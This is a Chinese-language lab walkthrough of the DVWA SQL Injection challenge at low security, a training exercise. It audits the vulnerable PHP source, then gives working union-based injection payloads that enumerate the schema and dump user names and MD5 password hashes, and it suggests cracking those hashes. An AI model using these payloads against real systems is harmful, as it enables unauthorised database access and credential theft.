DVWA靶场通关笔记-SQL注入(SQL Injection low级别)

目录

[一、SQL Injection](#一、SQL Injection)

二、代码审计(low级别)

1、源码分析

(1)index.php

(2)low.php

2、渗透思路

(1)SQL安全问题分析

(2)SQL渗透思路

三、渗透准备

1、配置安全级别

2、配置字符集

四、渗透实战

1、判断注入类型

2、获取字段数

3、获取当前数据库

4、获取数据库中的表

5、获取表中的字段名

6、获取字段信息


DVWA(Damn Vulnerable Web Application)中的 SQL Injection 关卡是用于练习和演示 SQL 注入攻击的不同场景,不同安全等级存在不同的脆弱点和绕过方法,本小节对低等级别的关卡进行渗透实战。

一、SQL Injection

SQL 注入(SQL Injection)是指攻击者通过在应用程序的输入字段中插入恶意 SQL 代码,从而执行非预期的数据库操作,使用联合注入方法的渗透步骤如下表所示。

步骤 目标 方法
确认注入点 判断是否存在注入 输入逻辑表达式(如 1 OR 1=1),观察页面响应差异
确定字段数 推断查询的列数量 使用 ORDER BY N 递增测试,直至页面报错
寻找回显位置 定位可显示数据的字段 使用 UNION SELECT NULL,... 逐个替换为数字,观察页面显示内容
枚举数据库信息 子步骤 技术手段
枚举数据库信息 1. 获取当前数据库名 SELECT database()
枚举数据库信息 2. 枚举所有数据库 SELECT schema_name FROM information_schema.schemata
枚举数据库信息 3. 获取目标表名 SELECT table_name FROM information_schema.tables WHERE table_schema='db_name'
枚举数据库信息 4. 获取目标列名 SELECT column_name FROM information_schema.columns WHERE table_name='tbl_name'
枚举数据库信息 5. 提取数据内容 SELECT col1,col2 FROM tbl_name

二、代码审计(low级别)

1、源码分析

(1)index.php

进入DVWA靶场源目录,找到index.php源码。

这段代码实现了这段 PHP 代码是 Damn Vulnerable Web Application (DVWA) 中 SQL 注入攻击演示页面的主控制器,主要功能包括:

  • 环境初始化:设置页面路径、验证用户身份、连接数据库。
  • 安全级别控制:根据用户 Cookie 中的安全级别设置(低、中、高、不可能),加载不同的实现文件。这些文件包含不同防护级别的 SQL 查询代码,用于演示不同难度的 SQL 注入场景。
  • 表单生成:根据安全级别动态生成不同的用户输入表单(低级、中级、高级、不可能共4个级别)
  • 环境检测:检查 PHP 配置中的魔术引号和安全模式,提供环境安全提示。
  • 结果展示:将 SQL 查询结果和安全参考资料链接整合到页面中。

经过注释后的详细代码如下所示。

复制代码
<?php

// 定义网站根目录路径常量,并引入页面处理工具
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';

// 初始化页面,验证用户认证状态并启动PHPIDS防护模块
dvwaPageStartup( array( 'authenticated', 'phpids' ) );

// 创建新页面实例并设置页面元信息
$page = dvwaPageNewGrab();
$page[ 'title' ]   = 'Vulnerability: SQL Injection' . $page[ 'title_separator' ].$page[ 'title' ];
$page[ 'page_id' ] = 'sqli';
$page[ 'help_button' ]   = 'sqli';
$page[ 'source_button' ] = 'sqli';

// 连接数据库
dvwaDatabaseConnect();

// 设置表单提交方式和不同等级的文件
$method            = 'GET';
$vulnerabilityFile = '';
// 根据安全级别Cookie选择不同的等级的实现文件
switch( $_COOKIE[ 'security' ] ) {
	case 'low':
		$vulnerabilityFile = 'low.php';
		break;
	case 'medium':
		$vulnerabilityFile = 'medium.php';
		$method = 'POST'; // 中等级别使用POST方法
		break;
	case 'high':
		$vulnerabilityFile = 'high.php';
		break;
	default:
		$vulnerabilityFile = 'impossible.php'; // 默认使用安全实现
		break;
}

// 引入对应安全级别的SQL注入实现文件
require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/sqli/source/{$vulnerabilityFile}";

// 检查PHP环境配置并生成警告信息
$WarningHtml = '';
// 检测魔术引号是否开启(已弃用的安全机制)
if( ini_get( 'magic_quotes_gpc' ) == true ) {
	$WarningHtml .= "<div class=\"warning\">The PHP function \"<em>Magic Quotes</em>\" is enabled.</div>";
}
// 检测安全模式是否开启(已弃用的安全机制)
if( ini_get( 'safe_mode' ) == true ) {
	$WarningHtml .= "<div class=\"warning\">The PHP function \"<em>Safe mode</em>\" is enabled.</div>";
}

// 构建页面主体内容
$page[ 'body' ] .= "
<div class=\"body_padded\">
	<h1>Vulnerability: SQL Injection</h1>

	{$WarningHtml}

	<div class=\"vulnerable_code_area\">";
	
// 高级安全级别使用JavaScript弹窗获取用户ID
if( $vulnerabilityFile == 'high.php' ) {
	$page[ 'body' ] .= "Click <a href=\"#\" onclick=\"javascript:popUp('session-input.php');return false;\">here to change your ID</a>.";
}
// 其他安全级别使用表单获取用户ID
else {
	$page[ 'body' ] .= "
		<form action=\"#\" method=\"{$method}\">
			<p>
				User ID:";
				
	// 中等级别使用下拉菜单限制输入范围
	if( $vulnerabilityFile == 'medium.php' ) {
		$page[ 'body' ] .= "\n				<select name=\"id\">";

		// 动态生成下拉选项(基于数据库行数)
		for( $i = 1; $i < $number_of_rows + 1 ; $i++ ) { $page[ 'body' ] .= "<option value=\"{$i}\">{$i}</option>"; }
		$page[ 'body' ] .= "</select>";
	}
	// 低级别和不可能级别使用文本框直接输入
	else
		$page[ 'body' ] .= "\n				<input type=\"text\" size=\"15\" name=\"id\">";

	$page[ 'body' ] .= "\n				<input type=\"submit\" name=\"Submit\" value=\"Submit\">
			</p>\n";

	// 不可能级别添加CSRF令牌保护
	if( $vulnerabilityFile == 'impossible.php' )
		$page[ 'body' ] .= "			" . tokenField();

	$page[ 'body' ] .= "
		</form>";
}

// 添加查询结果区域和安全参考资料链接
$page[ 'body' ] .= "
		{$html} // 存储SQL查询结果的变量
	</div>

	<h2>More Information</h2>
	<ul>
		<li>" . dvwaExternalLinkUrlGet( 'http://www.securiteam.com/securityreviews/5DP0N1P76E.html' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/SQL_injection' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/SQL_Injection' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'http://bobby-tables.com/' ) . "</li>
	</ul>
</div>\n";

// 输出HTML页面
dvwaHtmlEcho( $page );

?>

(2)low.php

进入DVWA靶场源目录,找到low.php源码。

打开源码low.php,分析可知这段代码实现了一个简单的用户信息查询功能,如下所示。

这段代码可能被黑客进行SQL注入攻击,具体原因如下所示。

  • 通过表单接收用户输入的id参数,并未对参数进行任何过滤
  • 将该参数直接拼接到 SQL 查询语句中,查询users表中的first_name和last_name
  • 将查询结果展示给用户

详细注释后的代码如下所示。

复制代码
<?php

// 检查是否通过表单提交数据
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // 获取用户输入的ID参数(直接取自GET/POST请求,未过滤)
    $id = $_REQUEST[ 'id' ];

    // 构建SQL查询语句(直接将用户输入拼接到SQL中)
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    
    // 执行SQL查询(未使用预处理语句,直接执行拼接的SQL)
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) 
        or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // 处理查询结果
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // 提取查询结果中的字段值
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // 构建HTML输出(显示用户ID、名字和姓氏)
        $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    // 关闭数据库连接
    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

2、渗透思路

(1)SQL 安全问题分析

  • 输入未过滤:直接使用$_REQUEST['id']获取用户输入,未进行任何过滤或转义。
  • SQL 拼接:将用户输入直接拼接到 SQL 语句中,未使用预处理语句。
  • 引号包围:SQL 语句使用单引号 (') 包围$id参数,攻击者可利用引号闭合原 SQL 语句。

(2)SQL 渗透思路

原始 SQL 语句: SELECT first_name, last_name FROM users WHERE user_id = '$id';

闭合单引号 :输入1' OR '1'='1会导致 SQL 变为如下内容。

SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1'='1';

由于'1'='1'恒为真,该查询会返回所有用户记录。

三、渗透准备

1、配置安全级别

配置security为低等low级别,如下图所示。

进入到SQL Injection关卡low页面,完整URL地址具体如下所示。

复制代码
http://192.168.59.1/dvwa/vulnerabilities/sqli/

2、配置字符集

参考SQL注入报错"Illegal mix of collations for operation 'UNION'"解决办法-CSDN博客

为避免使用联合注入法时报错"Illegal mix of collations for operation 'UNION'",修改dvwa数据库user表的first_name与last_name字符集,如下图所示。

修改dvwa数据库user表的password字符集,如下图所示。

四、渗透实战

1、判断注入类型

输入1',服务器回显出错,且回显信息中多了一个单引号,说明是字符型注入。

报错"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1",效果如下所示。

2、获取字段数

输入1' order by 3#报错,如下所示。

通过输入1' order by 2#查询成功,如下所示。

综上所述,可判断出执行的 SQL 查询语句中只有两个字段。

3、获取当前数据库

输入-1' union select 1, 2#,判断回显位,如下所示1和2都限时成功,1和2这两个输出位置均为可用的回显位。

输入-1' union select database(), version()#,可得出当前使用的数据库为dvwa以及数据库版本信息。

4、获取数据库中的表

输入-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'#,可得到数据库dvwa中的表名,如guestbook与users。

5、获取表中的字段名

输入-1' union select 1, group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#,可获取users表的所有字段。

6、获取字段信息

输入-1' union select group_concat(user_id,first_name,last_name), group_concat( password) from users #,可获取用户信息和密码的 MD5 值,通过 MD5 解密网站可得到明文密码。

此次渗透获得的完整用户名和密码信息如下所示。

复制代码
ID: -1' union select group_concat(user_id,first_name,last_name), group_concat( password) from users #
First name: 1adminadmin,2GordonBrown,3HackMe,4PabloPicasso,5BobSmith
Surname: 81dc9bdb52d04dc20036dbd8313ed055,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99